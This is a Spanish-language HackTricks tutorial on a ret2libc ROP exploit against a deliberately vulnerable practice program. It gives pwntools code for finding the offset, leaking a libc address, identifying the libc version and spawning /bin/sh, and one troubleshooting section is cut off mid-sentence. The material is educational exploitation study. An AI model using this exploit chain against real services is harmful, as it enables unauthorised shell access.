.. | ||
README.md | ||
rop-leaking-libc-template.md |
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Resumen rápido
- Encontrar el offset de desbordamiento
- Encontrar los gadgets
POP_RDI
,PUTS_PLT
yMAIN_PLT
- Usar los gadgets anteriores para filtrar la dirección de memoria de puts u otra función de libc y encontrar la versión de libc (descargarla)
- Con la biblioteca, calcular el ROP y explotarlo
Otros tutoriales y binarios para practicar
Este tutorial va a explotar el código/binario propuesto en este tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Otros tutoriales útiles: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Código
Nombre de archivo: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Plantilla para filtrar LIBC
Voy a utilizar el código ubicado aquí para hacer el exploit.
Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Encontrando el offset
La plantilla necesita un offset antes de continuar con el exploit. Si no se proporciona ninguno, ejecutará el código necesario para encontrarlo (por defecto OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Ejecuta python template.py
y se abrirá una consola de GDB con el programa que se ha bloqueado. Dentro de esa consola de GDB, ejecuta x/wx $rsp
para obtener los bytes que iban a sobrescribir el RIP. Finalmente, obtén el desplazamiento usando una consola de python:
from pwn import *
cyclic_find(0x6161616b)
Después de encontrar el desplazamiento (en este caso 40), cambie la variable OFFSET dentro de la plantilla usando ese valor.
OFFSET = "A" * 40
Otra forma sería usar: pattern create 1000
-- ejecutar hasta ret -- pattern search $rsp
desde GEF.
2- Encontrar Gadgets
Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a puts
para encontrar la libc que se está utilizando, y más tarde para lanzar el exploit final.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
El PUTS_PLT
es necesario para llamar a la función puts.
El MAIN_PLT
es necesario para llamar a la función principal de nuevo después de una interacción para explotar el desbordamiento nuevamente (rondas infinitas de explotación). Se utiliza al final de cada ROP para llamar al programa de nuevo.
El POP_RDI es necesario para pasar un parámetro a la función llamada.
En este paso no es necesario ejecutar nada ya que todo será encontrado por pwntools durante la ejecución.
3- Encontrando la biblioteca LIBC
Ahora es el momento de encontrar qué versión de la biblioteca libc se está utilizando. Para hacerlo, vamos a filtrar la dirección en memoria de la función puts
y luego vamos a buscar en qué versión de la biblioteca se encuentra la versión de puts en esa dirección.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Para hacerlo, la línea más importante del código ejecutado es:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Esto enviará algunos bytes hasta que sea posible sobrescribir el RIP: OFFSET
.
Luego, establecerá la dirección del gadget POP_RDI
para que la siguiente dirección (FUNC_GOT
) se guarde en el registro RDI. Esto se debe a que queremos llamar a puts pasándole la dirección de PUTS_GOT
como la dirección en memoria de la función puts se guarda en la dirección apuntada por PUTS_GOT
.
Después de eso, se llamará a PUTS_PLT
(con PUTS_GOT
dentro de RDI) para que puts lea el contenido dentro de PUTS_GOT
(la dirección de la función puts en memoria) y lo imprima.
Finalmente, se llama a la función principal de nuevo para que podamos explotar el desbordamiento de nuevo.
De esta manera, hemos engañado a la función puts para que imprima la dirección en memoria de la función puts (que está dentro de la biblioteca libc). Ahora que tenemos esa dirección, podemos buscar qué versión de libc se está utilizando.
Como estamos explotando un binario local, no es necesario averiguar qué versión de libc se está utilizando (solo hay que encontrar la biblioteca en /lib/x86_64-linux-gnu/libc.so.6
).
Pero, en caso de una explotación remota, explicaré aquí cómo puedes encontrarla:
3.1- Buscando la versión de libc (1)
Puedes buscar qué biblioteca se está utilizando en la página web: https://libc.blukat.me/
También te permitirá descargar la versión descubierta de libc
3.2- Buscando la versión de libc (2)
También puedes hacer:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Esto tomará algún tiempo, ten paciencia.
Para que esto funcione, necesitamos:
- Nombre del símbolo de libc:
puts
- Dirección de libc filtrada:
0x7ff629878690
Podemos averiguar qué libc se está utilizando con mayor probabilidad.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Copia la libc desde libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
a nuestro directorio de trabajo.
3.3- Otras funciones para hacer leak
puts
printf
__libc_start_main
read
gets
4- Encontrando la dirección de la libc y explotando
En este punto, deberíamos saber qué biblioteca libc se está utilizando. Como estamos explotando un binario local, usaré simplemente: /lib/x86_64-linux-gnu/libc.so.6
Entonces, al comienzo de template.py
, cambie la variable libc a: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conoce
Dando la ruta a la biblioteca libc, el resto del exploit se calculará automáticamente.
Dentro de la función get_addr
, se calculará la dirección base de la libc:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Ten en cuenta que la dirección final de la base de libc debe terminar en 00. Si no es así, es posible que hayas filtrado una biblioteca incorrecta. {% endhint %}
Luego, la dirección de la función system
y la dirección de la cadena "/bin/sh" se van a calcular a partir de la dirección base de libc y dada la biblioteca libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Finalmente, se va a preparar y enviar el exploit de ejecución de /bin/sh:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Explicaremos este último ROP. El último ROP (rop1
) terminó llamando de nuevo a la función principal, por lo que podemos explotar de nuevo el desbordamiento (por eso el OFFSET
está aquí de nuevo). Luego, queremos llamar a POP_RDI
apuntando a la dirección de "/bin/sh" (BINSH
) y llamar a la función system (SYSTEM
) porque la dirección de "/bin/sh" se pasará como parámetro.
Finalmente, se llama a la dirección de la función exit para que el proceso finalice correctamente y no se genere ninguna alerta.
De esta manera, el exploit ejecutará una shell de/bin/sh**._
4(2)- Usando ONE_GADGET
También se podría usar ONE_GADGET para obtener una shell en lugar de usar system y "/bin/sh". ONE_GADGET encontrará dentro de la biblioteca libc alguna forma de obtener una shell usando solo una dirección ROP.
Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como [rsp+0x30] == NULL
. Como controlas los valores dentro del RSP, solo tienes que enviar algunos valores NULL más para evitar la restricción.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
ARCHIVO DE EXPLOTACIÓN
Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Problemas comunes
MAIN_PLT = elf.symbols['main'] no encontrado
Si el símbolo "main" no existe, entonces puedes buscar dónde está el código principal:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
y establecer la dirección manualmente:
MAIN_PLT = 0x401080
Puts no encontrado
Si el binario no está usando Puts, debes verificar si está usando
sh: 1: %s%s%s%s%s%s%s%s: no encontrado
Si encuentras este error después de crear todos los exploits: sh: 1: %s%s%s%s%s%s%s%s: no encontrado
Intenta restar 64 bytes a la dirección de "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.